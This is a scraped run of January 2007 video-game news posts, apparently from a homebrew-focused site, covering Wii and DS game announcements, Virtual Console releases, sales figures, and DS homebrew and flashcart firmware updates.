Protects your Wii™ Remote and Wii™ Nunchuck from dust and scratches
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January 14th, 2007, 23:21 Posted By: wraggster
via engadget
If you've managed to secure yourself a Nintendo Wii, and have managed to stay relatively safe while playing, you still might be leading a fruitless search to find yourself a few extra Wiimotes. Oddly enough, some parts of the country are still facing Wiimote shortages, while locales like the Nintendo World store in NYC has just under a gazillion or so. Nevertheless, it looks like Mad Catz just might readying a rescue effort, as a cameraphone-packin' Wal-Mart employee happened to snap a few pics of what appears (fairly clearly) to be a third-party Wiimote / nunchuck combo. Of course, we've no way of verifying Mad Catz's plans, nor any way to tell if these shots foretell the future, but this definitely wouldn't mark the first time a Mad Catz peripheral got leaked way before its supposed release date.
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January 14th, 2007, 23:29 Posted By: wraggster
via kotaku
IGN has posted a list of upcoming games for the Wii, including Virtual Console titles. If this list is accurate, there's some really good titles coming out in the next three weeks of January including:
Metroid
Super Mario World
Kirby's Adventure
Punch-Out
Kid Icarus
Duck Hunt
Comix Zone
Streets of Rage
They also list some titles that are scheduled to come out sometime TBA in 2007 like Mario Kart 64, Star Fox 64 and Legend of Zelda: Ocarina of Time.
I stress that these are NOT official Nintendo lists, but merely the games that IGN has posted to their site. Whether or not these all come to pass remains to be seen, but it certainly gives a lot to look forward to.
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January 14th, 2007, 23:30 Posted By: DanTheManMS
New release from Archeide:
I just finished building SNEmulDS v0.3 with DLDI support.
This system made by chishm should make SNEmulDS compatible with much more devices
More informations here : http://chishm.drunkencoders.com/DLDI/index.html
You can patch SNEmulDS.nds to support others devices as long as those device have been made compatible with the DLDI system.
So you should visit this site regularly for update, if your device is not supported by SNEmulDS yet!
Please try it with your device and tell me if you have any problems...
Archeide had previously released preview beta versions of v0.3. However, changes for this official version include some minor bugfixes and of course DLDI support.
Update 1-15-06: new test release (SNEmulDS_Test.zip ) available for users who cannot get the current version to work. Patch the downloaded file with the appropriate DLDI patch file, and then place your SNES games in the root directory, not the "SNES" directory. This has reportedly been successful for usage on the EZ Flash V.
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January 14th, 2007, 23:57 Posted By: wraggster
via wiicr team
WiinVi is a Wiipaper theme for WiiCR, heres whats new:
Start Menu fixed
Impressions Highlight certain elements
Quicklaunch added for Home
Still no directory select (sorry)
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January 15th, 2007, 00:22 Posted By: wraggster
ttursas has again updated his homebrew game for the DS, heres whats new:
Here's what's new in v0.2.1:
* Added IMA ADPCM compression and playback for the sound effects. Currently only the explosions are IMA ADPCM compressed.
* Added Deflate-like compression to the toolchain, and Inflate-like into the game (didn't follow the RFCs 100%).
* It's possible to shoot holes into the background graphics with the machine gun by enabling the "ALL BULLETS DO HOLES" option.
* PAUSE status flag isn't saved into SRAM any more along with the other status flags.
* Added small explosions to plane collisions.
* Added water drop particles that collide with the backgrounds, and with each other.
* Fixed and optimized background collision data calculation.
* The plane attribute values in the plane selection screen were shown in wrong order.
* The plane attribute values are now used (minus weight). You can expect that the default values will go through a lot of tweaking.
* Decreased stack usage (especially the ARM7 of dswifilib was eating lots of stack).
* The special weapon selection remains when the player dies.
* On the network configuration menu page, it's possible to choose the number of the access point configuration in firmware (1-3) that the game uses.
...
Duh, well, Markus didn't have the time to finish the level data importer, so the levels are
a bit empty at the moment. Anyway, expect that to be fixed pretty soon. Hopefully in
the next release in a week.
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January 15th, 2007, 00:25 Posted By: wraggster
Bob_Fossil has released WordWrap for the Nintendo DS, heres the full info:
Someone asked for a DS version of a popular word jumbling game, so here it is. It's a very early version so there's some bugs and issues with the word generation / selection and the touchscreen.
It uses 2of4brif from the 12dicts zip file for the words.
You'll need to patch the .nds file with a DLDI patcher so it will work with your flash card - assuming there is a DLDI driver for you card. Have a look at http://chishm.drunkencoders.com/DLDI/ if that last sentence made no sense whatsoever.
You can add extra words to wordlist.dat using a text editor (needs Windows linefeeds) - just be careful with the memory.
Adam
New version 0.03
What's new:
- Stopped words overflowing the screen.
- Added 'wrap' button to jumble the current letters up.
- Displays a message when you clear all the words.
- Tells you how many words you found when you tap 'new'.
- If you enter a word already in the list, the existing word is now highlighted in the top screen.
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January 15th, 2007, 00:36 Posted By: wraggster
Samote has released a new game for the Nintendo DS, heres the translated info:
It is about a remake of the play of metal disc present in Beyond Good & Evil (excel play which I advise has all). The goal is to send its four metal discs on the side of the adversary before it does not do it.
History:
14/01/2007: First version!
How to play:
It is necessary to make slip the stylet on the metal discs to launch them
Other information:
There remains the IA and the online mode has to implement so that one can play.
I will add two other modes of play: the traditional metal disc and billiards.
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January 15th, 2007, 00:48 Posted By: wraggster
The Supercard Team has updated their firmware for their Flashcarts:
SuperCard DS(ONE) Operation System: SuperCard DS(ONE) OS 1229 (2006.12.29)
Usage: Delete old "shell" folder and "MSFORSC.NDS" file, download the new 1229 firmware, unzip it and copy to "SCSHELL" folder and MSFORSC.NDS to the root of TFlash/MicroSD.
NOTE: SuperCard DS(ONE) has a micro firmware, user should download the SC DS(ONE) OS to the ROOT of the flash memory card before use it.
Download at homepage
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January 15th, 2007, 16:53 Posted By: wraggster
Mario Vs Donkey Kong: March of the Minis will finally be making its way to European shops - for those of you who didn't import the American version months ago.
In March of the Minis, you control the little Mario toys, or 'Minis', by scratching them with the stylus in the direction you want them to run - making for one of the most innovative puzzle games on the DS.
Although a little on the easy side, March of the Minis is a great little puzzler and if you haven't already got it, check it out when it hits stores on March 9.
Screens Here
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January 15th, 2007, 17:02 Posted By: wraggster
Via engadget
As with some other recent reports concerning the trio of new consoles, we're not asserting that this decibel test is entirely accurate, as the methodology was far from scientific, but the results were interesting -- and a bit unexpected -- to say the least. While users have long since complained that the Xbox 360 kicked out an unusual amount of fan noise courtesy of the overheating problems it's been plagued with, one lucky owner of all three consoles found that Microsoft's unit actually wasn't the biggest racket-maker in the bunch, all things considered. By utilizing a standard handheld decibel meter, he measured the ambient sound output of the Wii, PS3, and Xbox 360 just after start-up, playing games sans an optical disc, and during disc playback to judge which console is noisiest overall. While results were noticeably mixed, it was concluded that the Xbox 360, on average, was actually the quietest of the bunch, and while the PS3 remained fairly calm initially, an extended period of play threw its fans (and consequently, the noise factor) into overdrive. Interestingly, Nintendo's Wii kept nearly silent during bootup, but after playing a few rounds of Wii Sports, it actually became the loudest of the three, clocking in at 70dB, or nearly 8dB higher than the nearest competitor. Granted, most folks won't notice the background whir when the 5.1s are thumpin' and folks are getting rowdy on the last lap of Excite Truck, but c'mon, this is the stuff we geeks are made to scrutinize, so be sure and hit the read link to make of it all what you will.
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January 15th, 2007, 17:08 Posted By: wraggster
SNK vs. Capcom Card Fighters DS will be released this spring in europe, according to Ignition and Atari.
The card battling game - a descendant of the excellent Neo Geo Pocket series - was originally announced at E3 last year, but nobody's made much noise about it in the interim.
At the time we were told to expect five-deck management, with over 300 cards to accumulate, a single-player "Card Tower" to scale and a two-player link mode.
There's also a "Recycle machine" for making the most out of duplicate cards, and shops for buying new ones.
Via eurogamer
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January 15th, 2007, 17:12 Posted By: wraggster
Via Gamesindustry
Nintendo has announced that according to Chart-Track figures, almost 200,000 Wii units were shifted in the UK over the Christmas period - while DS sales topped the half-million mark.
The Wii launched in Europe on December 8 and became the fastest-selling home console ever during its opening weekend. More than 700,000 units were purchased by European consumers, leading to empty shelves across the continent.
First-party title The Legend of Zelda: Twilight Princess also proved popular, with more than 500,000 copies sold - meaning that over 70 per cent of Wii owners bought the game. Around 320,000 copies of Wii Play, which comes bundled with a remote controller, were also sold.
In the UK, the number of DS handhelds sold during December topped 500,000 units. According to Nintendo, again quoting Chart-Track figures, it was not only the best selling console over the Christmas period but throughout 2006.
The figure for December DS sales across Europe stood at 1.7 million units. It was the best-selling console across the continent in 2006, and accounted for more than half of all December hardware sales.
"We have enjoyed one of the most successful Christmas holidays ever, with both Nintendo DS and Wii selling at staggering rates," said Nintendo Europe marketing director Laurent Fischer.
"We are facing such high demand for both platforms that unfortunately we are facing stock shortages. However we are doing everything possible to combat this by attempting to deliver both consoles and games to retailers on a daily basis."
Nintendo also enjoyed a successful Christmas in the US - more than 1.1 million Wii units have now been sold since launch, and 1.6 million DS handhelds were sold during the month of December alone.
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January 15th, 2007, 17:12 Posted By: wraggster
Via Gamesindustry
Nintendo has announced that according to Chart-Track figures, almost 200,000 Wii units were shifted in the UK over the Christmas period - while DS sales topped the half-million mark.
The Wii launched in Europe on December 8 and became the fastest-selling home console ever during its opening weekend. More than 700,000 units were purchased by European consumers, leading to empty shelves across the continent.
First-party title The Legend of Zelda: Twilight Princess also proved popular, with more than 500,000 copies sold - meaning that over 70 per cent of Wii owners bought the game. Around 320,000 copies of Wii Play, which comes bundled with a remote controller, were also sold.
In the UK, the number of DS handhelds sold during December topped 500,000 units. According to Nintendo, again quoting Chart-Track figures, it was not only the best selling console over the Christmas period but throughout 2006.
The figure for December DS sales across Europe stood at 1.7 million units. It was the best-selling console across the continent in 2006, and accounted for more than half of all December hardware sales.
"We have enjoyed one of the most successful Christmas holidays ever, with both Nintendo DS and Wii selling at staggering rates," said Nintendo Europe marketing director Laurent Fischer.
"We are facing such high demand for both platforms that unfortunately we are facing stock shortages. However we are doing everything possible to combat this by attempting to deliver both consoles and games to retailers on a daily basis."
Nintendo also enjoyed a successful Christmas in the US - more than 1.1 million Wii units have now been sold since launch, and 1.6 million DS handhelds were sold during the month of December alone.
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January 15th, 2007, 17:14 Posted By: wraggster
via gibiz
It may be best known for bringing its hit Japanese franchises such as Resident Evil and Devil May Cry to the West, but Capcom is determined to stamp its mark in Europe ? by originating and creating new IP with local development teams.
"We're looking to expand our business by creating Western content above and beyond what's being created in Japan," revealed Mark Beaumont executive VP of North America and Europe, speaking exclusively to GamesIndustry.biz.
"We've begun an initiative of creating next-gen product for North America and Europe that will show up in the market place in 2008."
And although the company has just expanded Beaumont's remit to cover consumer software in Europe as well as North America, the firm insists the publisher's European division will remain autonomous.
"At the same time we are absolutely focused on the European business being a stand alone entity that can be successful in its own right. All of the efforts that are going on in Capcom are looking to allow us to grow in this territory specifically," he said.
Capcom has already toyed with a similar strategy in the past - resulting in the poorly received Without Warning from Circle Studios. However, the company believes a renewed push to create original content for the PlayStation 3, Wii and Xbox 360 will help expand into new genres not usually associated with the publisher.
"That is part of our initiative to grow product and broaden our portfolio. To work with the best available talent to create new experiences that people haven't seen before," revealed Beaumont.
"Our Western development initiative is not going to focus on horror products, because we already have them."
"As we look at new genres for Capcom and other products we want to create, we'll be looking to work with developers who have really strong skills and a track record in creating that kind of content," he added.
It's not all original products for 2008, with Beaumont promising familiar franchises will return, as Capcom looks to take a bigger portion of the videogame sector in all regions.
"In 2008 we'll have new versions of existing franchises and new titles that are original IP. We're really starting to ramps things up and become that much more significant in the marketplace," he said.
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January 15th, 2007, 19:24 Posted By: wraggster
via gamesindustry
The Wii remote controller has much more potential than is currently being seen in the first crop of Wii games, according to the development team at Ignition Entertainment.
But while some have argued that a portion of games using the motion sensing device rely on timing rather than gesture recognition, Ignition's studio manager, Ed Bradley, points to the fact that if it's fun in the first place, players won't care what technology is behind the game.
"Personally I think the controller is capable of translating actions far more complex and energetic than most players are interested in performing even in the privacy of their own homes," said Bradley, in an exclusive interview with our sister site Eurogamer.net.
Bradley points out that developers should never lose site of the real goal - giving players a unique gaming experience - rather than create something technically impressive that adds nothing to the final gameplay experience.
"It can certainly spew out a lot of useful info. The tricky bit is making meaningful use of it all," said Bradley.
"At the end of the day developers want players to have fun rather than impose clever mathematics on them, so if it turns out to be fun only using a simple subset of the controller's gizmos then why worry about how "proper" it is?"
The developer has been working on Mercury Meltdown Revolution for the Wii since it first pitched the idea to Nintendo at E3 2006, giving the company plenty of time to get to grips with the various Wii control methods.
Even so, Bradley revealed that early versions of the game worked well with the Wii controller, an area the developer knew would be crucial to the games success.
"This was something we earmarked a lot of time for as it's vital that it's done properly," he said. "Then to our surprise it ended up being more straightforward than we anticipated."
"It's surprisingly natural and easy to make the transition to the new control method. We've spent a lot of time tweaking dead-zones and acceleration and stuff like that but I'd say the control method worked 90 per cent perfectly the first time we tried it," he revealed.
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January 15th, 2007, 19:26 Posted By: wraggster
The avalanche of info on EA-developed SSX Blur for Wii has snowballed into such a flurry of images and video that it can only be described using cheap snow-based metaphors.
Best of all, this stuff concerns exactly how the controls work. We even get a glimpse of one uber trick that'll have you drawing hearts on the screen as if it were your old Kylie poster.
And because some of you idiots can't stop launching your Wii remotes through televisions and injuring loved ones trying to perform an actual tennis serve, we should probably mention that you don't actually stand on the controller.
Movies and Screens at Gamesradar
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January 15th, 2007, 19:31 Posted By: wraggster
We reported last week about The Godfather coming to Wii later this year, and now we've got a trailer explaining exactly how the motion controls will affect the game.
Judging from the footage up on the movies tab above, you'll be mimicking such moves as bat swinging, car driving and head-splattering. Up to this point, all the Wii motion activities have been wholesome and fun for everyone - now we've got to wrap our hands around disobedient thugs' necks and squeeze until the sweet release of death embraces their battered bodies. Could be fun but how do you act out 'extort'?
The dude playing Blackhand Edition in this video seems to be intentionally keeping a straight face, trying not to look too excited about acting out a head butt or throwing someone off the second floor balcony. Just let it loose, man - it's only a matter of time before someone finally notices that Wii games are having the kiddies act out violent moves.
Will these subtle changes be enough to play the game all over again? Maybe, but as far as new content goes it looks like the PS3 version (dubbed The Don's Edition) comes out ahead.
Video at Gamesradar
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January 15th, 2007, 19:39 Posted By: wraggster
This weeks Virtual Console games go live at 10 a.m. Mountain on the Wii Shop Channel and include Xevious, R-Type 3 and Moto Roader.
Xevious(TM) (NES(R), 1-2 players, 500 Wii Points): Players control their Solvalou ship and destroy the XEVIOUS forces. Fire the zapper missiles against air-based enemies and drop the blaster bombs down upon ground-based targets. Destroy Andor Genesis to earn bonus points. Unique enemies, interesting background music, a variety of vertically scrolling background environments and many hidden game play features differentiated Xevious from the other shooting games released at the time. Are you devious enough to beat Xevious?
R-Type III(TM): The Third Lightning (Super NES(R), 1-2 players, 800 Wii Points): It was believed on Earth that the deadly BYDO Empire had been destroyed -- but now they've returned, as nasty as ever. Their ships and armies are more powerful than before, and Earth will surely be conquered unless the new R-90 ship can destroy them. Powered with engines that launch it into different dimensions, and armed with the Round, Shadow and Cyclone Forces, the R-90 has what it takes to wipe out the BYDO threat.
The BYDO mother ship must be found and destroyed to entirely erase the species from our galaxy.
Moto Roader(TM) (TurboGrafx16, 1-5 players, 600 Wii Points): Moto Roader is a futuristic racing game that allows up to five players to compete against each other. Players use the cash earned when they win a race to power up their machine. Not only can they change the "TIRE" and "BODY" of their vehicles, but they also can add "SPECIAL" parts. Jump over tall obstacles with a "HOPPER" and blast past rivals at incredible speeds with "NITRO." What multiplayer game would be complete without attack items? Use a forward-launching "GRENADE" or a backward-dropping "BOMBER" to blow up and knock away rivals. Outmaneuver rivals in all eight heats to become the champion. Any combination of Wii Remote(TM) and Nintendo GameCube(TM) controllers can be used in multiplayer games..
I like that there seems to be a theme, maybe they'll keep that up.
Via Kotaku
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January 15th, 2007, 19:41 Posted By: wraggster
via kotaku
Seems sales spinning is a global phenomenon. Seems Christmas 2006 in Australia was dominated by Nintendo. At least, that's according to Nintendo Australia:
In the critical December retail period, the Nintendo DS Lite confirmed its #1 position in Australia, trouncing all competitors in both the handheld and home console market. This is a trend that continued throughout the year, making the Nintendo DS the highest selling games console of 2006.*
Once released, Wii officially broke the Australian record for the biggest launch of a video game system in history. In a few short weeks Wii has established itself as the current 'must have' item. Demand quickly outstripped supply and although new stock shipments are constantly arriving, the Wii remains a very 'hot' item with Nintendo managing to sell over 50,000* units in just 3 weeks of December.
Looks good. Oh, except for the two *'s. Which don't come bundled with explanations, or sources. What are they, Nintendo? Guesses? Hopes? Wishes? Or just regular old spin? Whichever one, this sales/shipped figures fib-fest is getting real old, real fast.
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January 15th, 2007, 19:41 Posted By: wraggster
via kotaku
Seems sales spinning is a global phenomenon. Seems Christmas 2006 in Australia was dominated by Nintendo. At least, that's according to Nintendo Australia:
In the critical December retail period, the Nintendo DS Lite confirmed its #1 position in Australia, trouncing all competitors in both the handheld and home console market. This is a trend that continued throughout the year, making the Nintendo DS the highest selling games console of 2006.*
Once released, Wii officially broke the Australian record for the biggest launch of a video game system in history. In a few short weeks Wii has established itself as the current 'must have' item. Demand quickly outstripped supply and although new stock shipments are constantly arriving, the Wii remains a very 'hot' item with Nintendo managing to sell over 50,000* units in just 3 weeks of December.
Looks good. Oh, except for the two *'s. Which don't come bundled with explanations, or sources. What are they, Nintendo? Guesses? Hopes? Wishes? Or just regular old spin? Whichever one, this sales/shipped figures fib-fest is getting real old, real fast.
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January 15th, 2007, 20:32 Posted By: wraggster
The US Version of Phoenix Wright: Ace Attorney Justice for All has been released, heres the details:
features
Four shocking new cases in first person perspective!
New "Psyche-Lock" Feature - some witnesses hide the truth! Use a line of questioning to reveal their inconsistent testimony.
Two gameplay modes:
Investigation - survey crime scenes, interview witnesses and gather evidence.
Court - present findings, listen to testimonials, and examine witnesses.
Use the DS microphone to yell "Objection", "Take that", and more!
New life Status bar!
description
With six months experience and five victories under his belt, the name Phoenix Wright is synonymous with "success". But with newspaper headlines screaming "Ghost Commits Perfect Murder" and "Flying Phantom at the Big Top", Phoenix's new cases already seem unsolvable. And if that weren't enough, there's a ruthless new D.A. in town. Franziska von Karma wants revenge and she's ready to take Phoenix down at any cost!
More Details --> http://www.play-asia.com/SOap-23-83-...j-70-1d7y.html
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January 15th, 2007, 21:50 Posted By: wraggster
Via Siliconera
Nintendo announced Japan’s Virtual Console line up for this week and it’s a light years ahead of last weeks release which only had Alien Crush. Popo and Nana make their Wii debut in the Virtual Console version of Ice Climbers. The game is sold for 500 points and this is going to be the Japanese release, which has some differences from the North American release. For instance there isn’t an abdominal snowman, instead there are seals. And yes you can club a seal in the Japanese game. Ikki, a top down perspective ninja game, is the other NES release this week. Moto Roader, a multiplayer racing game from the PC-Engine / TurboGrafx-16 line up is sold for 600 points. Contra Spirits (Contra III: The Alien Wars) is probably the big name release this week. Contra III had missions where you could hang on the back of a helicopter and two mode 7 levels. It’s being sold for 800 points and since Japan is getting it this week a US release can’t be far behind.
Famicom / NES
Ikki - 500
Ice Climbers - 500
Super Famicom / Super Nintendo
Contra Spirits (Contra III: The Alien Wars) - 800
PC Engine / TurboGrafix-16
Moto Roader – 600
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January 16th, 2007, 00:05 Posted By: wraggster
Via Kotaku
The original NES might not have been able to play a game without being blown on, but over the years it has proven to have millions of household uses beyond simple TV entertainment. You can use it to tell time, play music, watch DVDs, or even run Mac software.
Now, thanks to the glory of yanking out innards and adding hinges, it can even double as a purse.
This stylish console accessory was created by eBayer bikemike13dog, and features a modded NES controller as a handle. It utilizes the unused connector port on the bottom of the system as a lighter holder, and the cartridge slot can either fit a cellphone or his own custom created NES cart cigarette holder (sold separately). The auction ends tomorrow, and the bidding is only $28!
More Info
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January 16th, 2007, 00:07 Posted By: wraggster
via kotaku
Title says it all. Japanese game maker Taito is giving Mama from Cooking Mama and an alien from Space Invaders make cameo appearances in Densha de Go! for the Wii. Sure hope that a bullet train doesn't run over Mama!
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January 16th, 2007, 00:31 Posted By: wraggster
via wiifanboy
We have extreme amounts of love for anything game-related, the wackier the better, but even if we didn't, it would be hard not to coo over this Nintendo-themed baby blanket. Gotta hook 'em while they're young, after all, if we want to make them lifetime gamers.
We tend to think the best part of this particular blanket is that the mushroom is up top, at optimal gnawing range.
Screen Via Comments
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January 16th, 2007, 00:46 Posted By: wraggster
CraigT posted this news:
Over the last few weeks i’ve been looking into how fast SpeccyDS currently runs and how it can be optomised to handle some of the new features. Therefore, I added a simple speed meter that displays the percentage speed when compared to a real Spectrum. The results were quite suprising…
When idling in Spectrum BASIC, SpeccyDS ran at 134% of a real Spectrum. When under load (I used the menu screen of Cobra), the speed fell to 116%. Far to low for my liking.
I knew that my display routines were not the best in the world. I had put them together with a ’just get it working’ attitude and I knew that there were savings to be had. With this in mind, I tried disabling them so I could just measure the speed of the CPU core. The speed jumped up to a massive 495%/312% (BASIC/Cobra)!
Obviously there was something seriously wrong in the display routines. After a lot of swaping and re-coding, i’ve managed to get the speed up to a much more impressive 210%/168%. The change in the code will also let me use the DS hardware to scale the Spectrum display to allow borders to be shown. I’m not sure how practical this will be, but it will be nice to have the option.
Unfortunatly, this speed boost seems to have broken my sound code. It doesn’t look like the CPU syncronisation enjoys going over the 200% speed barrier. It is a bit odd to have problems because SpeccyDS is running too fast
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January 16th, 2007, 17:04 Posted By: wraggster
Bomberman Land Touch! hit American stores just before Christmas, but for those of you still awaiting a UK release, here are a bunch of new screens showing off the adventure mode.
In the new adventure, you explore a pirate theme park called Bomber Island, defeating enemies in a number of different puzzles to earn gate keys and unlock new areas.
Sounds pretty generic to us, and we're still not sure if any Bomberman game will ever have an adventure mode that lives up to the awesome multiplayer experience. But it's our old friend Bomberman, so we're willing to give it a shot. And if it's rubbish, there's always the wireless eight-player battle mode to make up for it.
Bomberman Land Touch! has yet to be given a UK launch date. We wish they'd hurry up about it.
Screens Here
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January 16th, 2007, 17:09 Posted By: wraggster
New Zealand Story may not mean much to younger gamers, but the granddad-aged gamers (Oi! I remember it - Ed) will fondly remember it from one of the best arcade games of the eighties.
The DS remake, New Zealand Story Revolution, looks to bring back much of the original game's charm and is bound to be a nostalgic treat for fans of the little yellow chick.
Rising Star Games has already confirmed that the themes of the worlds will remain untouched from the original, but will have all-new layouts.
NZSR will also challenge the player with new touch-screen puzzles, as can be seen in one screenshot where the player must catch Tiki, you character, on the bottom screen before he falls onto the spikes below.
There is currently no release date for NZSR, but as it's been in development for some time now, we're expecting it to land by the Summer this year.
Screens Here
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January 16th, 2007, 17:17 Posted By: wraggster
Wario is set to return to DS in a brand new 2D platform adventure called Wario: Master of Disguise and, although very little has been said about the game, the official Japanese website has updated with a run of new in-game videos that reveal its unique gameplay mechanic.
Wario will tackle the various puzzles and obstacles that he encounters by changing into a selection of different costumes, each giving him new powers. And players will switch through these costumes using quickly-drawn gestures on the touch screen.
The videos show Wario performing his money-grabbing antics in seven different costumes, including Spaceman Wario, which can shoot lasers, Graffiti Wario lets players conjure blocks on the screen by drawing squares, Doctor Wario, which scans the world for secrets, and many more of his ingenious powers.
If the gesture system proves to be easy to use and is used cleverly, Wario: Master of Disguise will be another big hit for the DS.
The game launches in the US on March 3, with a European release expected shortly after.
Screens Here
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January 16th, 2007, 18:41 Posted By: wraggster
via insert credit
Super Mario Bros. Special was a remake of Super Mario Bros. for the NEC PC-8801 computer in japan (among others, I believe), done by Hudson. It's actually hard to call it a remake, as it's pretty much an entirely new game. Strange music, odd graphics, some mean glitches, and you progress one screen at a time, though the screens tile in such a way that you can still see a bit of where you came from. Very interesting stuff from the 57 year old Youtube user powerful nana, who has lots more obscure stuff, if you browse his profile (PC-8801 [video=youtube;BAZnxPoqKJY]http://www.youtube.com/watch?v=jad-ozqrUZ0"]Popful Mail [/URL]for one). So for SMB Special, check out World 4 if you only check one...it's got glitches and weirdness galore. The others are worth watching too though, he's basically got the full game in there. [URL="http://www.youtube.com/watch?v=BAZnxPoqKJY[/video]world one to get you started, if you want the full experience. Hudson Bee powerup in there, and there's Hudson logo in world 4 as well. Really easy to do the infinite extra lives trick in this one, it appears, but it also looks like you really have to know what you're doing in order to make this game work.
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January 16th, 2007, 19:03 Posted By: wraggster
via joystiq
Weally. In posting his impressions of Wario Ware: Smooth Moves, Chris Kohler at Game|Life adds yet another title to his 4:3 Hall of Shame. Joining Rayman: Raving Rabbids and Trauma Center: Second Opinion, Wario's waggle-fest only supports a 4:3 display ratio, generally known as fool fullscreen. While it's easy to agree that the lack of proper widescreen support doesn't impact on the game's fun, it still remains an annoying oversight, especially for HDTV owners.
The Wii's shunning of HDTV support is an understandable topic (and already debated to death), but inconsistent EDTV and widescreen support just seems lazy in the year 2007. Several Gamecube and PS2 games provided different display modes -- heck, a widescreen mode is one of the selling points for the Wii version of The Legend of Zelda: Twilight Princess. Come on Nintendo, put things in perspective here.
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January 16th, 2007, 19:04 Posted By: wraggster
via joystiq
Smooth Moves is certainly no 'Game of the Year,' but it's hard to imagine a Wii owner who won't be adding this game to the collection. It's almost a necessity, as it unlocks all of the wonderful, albeit odd, potentials of Wii's technology. WarioWare is a madcap tutorial tool.
It's unfortunate, as Eurogamer seems to allude below, that Smooth Moves has been billed to be more than what it is (a series of microgames). This is Wii's first significant title of 2007; and Smooth Moves will have to carry the associated burden for months to come. As such, the game will surely lead to disappointment for some. Still, there's no denying that WarioWare is capable of offering the premiere Wii experience.
GameSpot (91/100) - "The game comprises more than 200 "microgames" ... But because this is a Wii, and not a DS, the range of these games has greatly expanded ... In a technical sense, some of WarioWare looks like absolute garbage. But that's only because there's such a huge variety of very deliberate visual styles ... this is a fantastic-looking game, especially in 480p ... it's also a terrifically charming, funny, and nefariously addictive game that you can play alone. But it gets even better when you have a crowd on hand to witness the weirdness with you."
IGN (82/100) - "What really makes WarioWare: Smooth Moves a great introductory title is the sheer amount of style that went into the game ... and the crisp look of Smooth Moves leaves the GameCube version [Mega Party Game$] in the dust ... this version wraps the games up in a more entertaining, stylized, and polished way ... Smooth Moves still has a few downsides that up the learning curve substantially ... the game will make use of the Wii's IR sensor ... [so] it can be a hassle to have a mini-game failed because the Wii-mote wasn't technically pointing at the TV like it should have been ... It's not perfect, it isn't the best in the series, but WarioWare: Smooth Moves is an essential piece of the Wii collection, as it's as much fun ripping through it in single player adventures as it is to shove the controller off on unsuspecting houseguests or non-gamers months and years down the road."
EuroGamer (70/100) - "[What] differentiates Smooth Moves from the existing WarioWare titles is that it grants players a degree of prior explanation to the various control 'poses' you must adopt ... And once you've familiarised yourself with all 19 forms in rapid succession, the game becomes less about being introduced to new control systems, and, thankfully, more about the hilarity involved in engaging with all 200 microgames ... Just like the GameCube version [Mega Party Game$], though, there's not a huge amount of mileage to be had out of playing it in single-player mode ... you'll romp through them in a couple of hours ... As with all the WarioWare games to date, the stylised visuals are about as deliberately simplistic as any game out there, but nevertheless have a huge amount of charm despite the familiarity ... If there's one overriding criticism, though, it's the feeling that the game's building up to something, but that something never really arrives ... we can't deny that we were expecting much more from Nintendo. The way the game utilises the controller is beautiful and - as ever - the humour superb, yet it's a game short on long-term appeal because it never really dares to test players. Much like Touched! [DS], its focus appears to be more of a snappy technology demonstration than of providing a lasting challenge, and it's puzzling why Nintendo and Intelligent Systems couldn't have delivered on both counts."
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January 16th, 2007, 19:09 Posted By: wraggster
New from Play Asia:
features
Revolutionary Fun: With hundreds of microgames,this game is just as wild as you'd expect from the name WarioWare, but the game play has been revolutionized. Under Wario's tutelage and with the help of the Wii Remote, players will swing, spin and squat their way to victory.
Tons and Tons of Microgames: With more than 200 lightning-quick microgames and controls that range from scribbling to flailing, WarioWare: Smooth Moves takes interactive gaming to a whole new level. All players need is confidence, a Wii Remote and their best moves.
Off-Screen Party: With games that are as much fun to play as they are to watch people play, WarioWare: Smooth Moves brings the party to its feet. It's hilarious for players and audiences alike.
description
The WarioWare team took an idea so wacky, it could only be made with the latest technology: the Wii Remote controller! Wario stumbles into an old building called the Temple of Form. Inside, he finds a mystical treasure called the Form Baton. There are many ways to hold and move the baton (called "forms"), and legend has it that if the holder follows the forms, he can overcome any challenge. With this discovery, the form craze spreads and soon everybody is doing their best to master the moves.
More info /buy here --> http://www.play-asia.com/SOap-23-83-...j-70-1pp1.html
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January 16th, 2007, 19:14 Posted By: wraggster
New game released for Nintendo DS:
features
Draw Wario's eight disguises: By sketching a symbol on Wario, the player puts Wario in outfits that give him powers, such as Thief Wario's tackles and Cosmic Wario's laster blasts. The player also uses the stylus to wield powers.
Explore environments: Wario travels the globe in ten missions that span nine exotic locations. The player must attack many enemies found in each location and also use Wario's disguises to get past puzzling obstacles.
Play mini-games to unlock chests: To pick the lock of each chest, the player must play one of eight stylus-driven mini-games that grow more difficult as the game progresses.
description
When Wario sees a television series about a thieving master of disguises, he dives through the TV screen, steals the theif's quick-change wand and takes over the whole show. Episode after episode, he breaks into exotic locations, like a luxury liner, watery ruins and an Egyptian pyramid!
More Info Here --> http://www.play-asia.com/SOap-23-83-...j-70-1pnq.html
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January 16th, 2007, 19:24 Posted By: wraggster
New from SuccessHK
Directly inspired by world famous film director and writer Luc Besson's upcoming animated film of the same name, the Arthur and the Minimoys game follows the film's storyline and features eye-popping graphics and technical innovations. Arthur is a young boy on vacation at his grandmother's house. While searching for a mysterious lost treasure in the backyard ,he stumbles upon the miniature world of the Invisibles. Arthur himself is transformed into an Invisible and soon meets two companions: Princess Selenia and her brother Betameche. With his two new friends, Arthur embarks upon an extraordinary adventure that is rich in surprise and intense action.
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January 16th, 2007, 19:26 Posted By: wraggster
New from SuccessHK
Arthur and the Invisibles is a magical adventure where you'll discover another world in the backyard! When a boy named Arthur is visiting his grandmother, he begins exploring for treasure in the backyard. While there, he stumbles on the miniature world of the Invisibles. Arthur himself is transformed into an Invisible and soon meets two companions: Princess Selenia and her brother Betameche. With his two new friends, Arthur embarks upon an extraordinary adventure that is rich in surprise and intense action.
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January 16th, 2007, 19:37 Posted By: wraggster
The Radio station whos contest claimed the life of a women with a family has closed and with this message:
All of you are probably aware of the tragic death of a contestant, Jennifer Strange, following her participation in a contest on the Morning Rave last Friday.
First and foremost, our thoughts and sympathies go out to Jennifer's family and loved ones.
I also want to assure you that the circumstances regarding this matter are being examined as thoroughly as possible. We are doing everything we can to deal with this difficult situation in a manner that is both respectful and responsible. In the interim, the Morning Rave is off the air indefinitely.
Thank you.
John Geary
Vice-President & General Manager
107.9 THE END
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January 16th, 2007, 19:54 Posted By: wraggster
Proof that Wii Sports can help you lose weight via Wiinintendo
Six weeks ago, I began what has become a huge obsession of mine. It is called the “Wii Sports Experiment” (Read my original announcement of this from Early December ‘06). I outlined a 6 week game plan for myself, the idea being that I would continue ALL normal activity and eating habits, and simply add 30 minutes of Wii Sports to my day. For the past month and a half, I’ve stuck to these guidelines very strictly.
I’ve been meticulously keeping track of the following for the past 6 weeks:
- Weight
- BMI
